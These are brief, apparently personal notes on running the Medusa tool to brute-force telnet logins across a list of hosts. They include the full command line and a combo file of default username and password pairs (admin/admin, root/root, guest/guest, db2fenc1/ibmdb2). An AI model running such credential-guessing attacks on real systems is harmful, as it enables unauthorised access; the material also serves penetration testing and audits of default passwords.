Using Medusa

 medusa -M telnet -H in -C medusa_userpass -T 16 -L | tee outm.txt

the user pass file is a bit wonkey:cat medusa_userpass
:admin:(none)
:admin:admin
:admin:password
:root:(none)
:root:root
:root:password
:guest:(none)
:guest:guest
:db2fenc1:ibmdb2